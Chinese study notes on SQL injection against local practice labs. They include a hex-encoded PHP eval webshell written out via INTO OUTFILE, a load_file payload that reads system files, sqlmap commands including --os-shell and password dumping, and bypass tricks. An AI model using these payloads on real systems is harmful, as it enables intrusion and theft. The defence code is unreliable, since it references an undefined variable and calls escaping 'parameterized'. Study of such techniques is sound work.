sql注入防御

GETSHELL

hex(16进制)

0x3c3f70687020406576616c28245f4745545b2778275d293b203f3e

3C3F70687020406576616C28245F504F53545B2778275D293B203F3E

以0x开头,告诉计算机区别于十进制

1
2
select 0x3c3f70687020406576616c28245f4745545b2778275d293b203f3e into outfile 'E:/phpStudy/WWW/1.php'
select "123" into outfile 'E:/phpStudy/WWW/1.txt';

读文件

前提条件

打开my.ini在最后添加

secure-file-priv=

重启phpstudy

secure-file-priv限制mysql的导入导出

读取文件

?id=100’ union select 1,load_file(“c:/windows/system32/drivers/etc/hosts”),3 –+

sql注入探测

端口

3306

报错

经验

.php mysql

.jsp mysql Oracle

sqlmap

sqlmap -r 1.txt –dbs -level=3 -risk=3 –batch -p “id” –proxy http://127.0.0.1:8080

-u 检测注⼊点

–batch 所有选项默认

–dbs 列出所有的库名

–current-user 当前连接数据库⽤户的名字

–current-db 当前数据库的名字

-D “mysql” 指定目标数据库为mysql

–tables 列出数据库中所有的表名

-T “user” 指定目标表名为’user’

–columns 列出所有的字段名

-C ‘username,password’ 指定目标字段

–dump 列出字段内容

-r 从文件中读取HTTP 请求

–os-shell 在特定情况下,可以直接获得目标系统Shell

–level 3 设置sqlmap 检测等级 3

1
2
3
4
5
6
7
8
GET /sqli-labs-master/Less-1/?id=1 HTTP/1.1
Host: 192.168.131.140
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

sql注入防御

过滤特殊字符,采用参数化查询,使用户输入的参数永远为普通字符,不会被作为特殊符号打乱原有sql语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$mysqli = new mysqli("localhost", "root", "root", "dvwa");

$sqli = "a'b\"c";
$safeinsert = preg_replace("/[\'\"]+/", '', $sqli);//正则过滤单双引号
$safeinsert = str_replace("select", "", $id);//过滤select关键字,可以大小写双写绕过
echo $safeinsert;

$name = "Jack";
$age = 30;
$gender = "male";
$sentence = sprintf("My name is %s. I am %d years old and I am a %s.", $name, $age, $gender);

echo $sentence;

//参数化查询
$mysqli = new mysqli("localhost", "root", "root", "pikachu");
$id="111'";
$query=sprintf("select * from users where id='%s'",mysqli_real_escape_string($mysqli,$id));
echo $query;

?>

sql注入绕过

大小写绕过

双写绕过

使用 ||(or) 和 &&(and) (使用时进行URL编码%26)

–+注释 +代替空格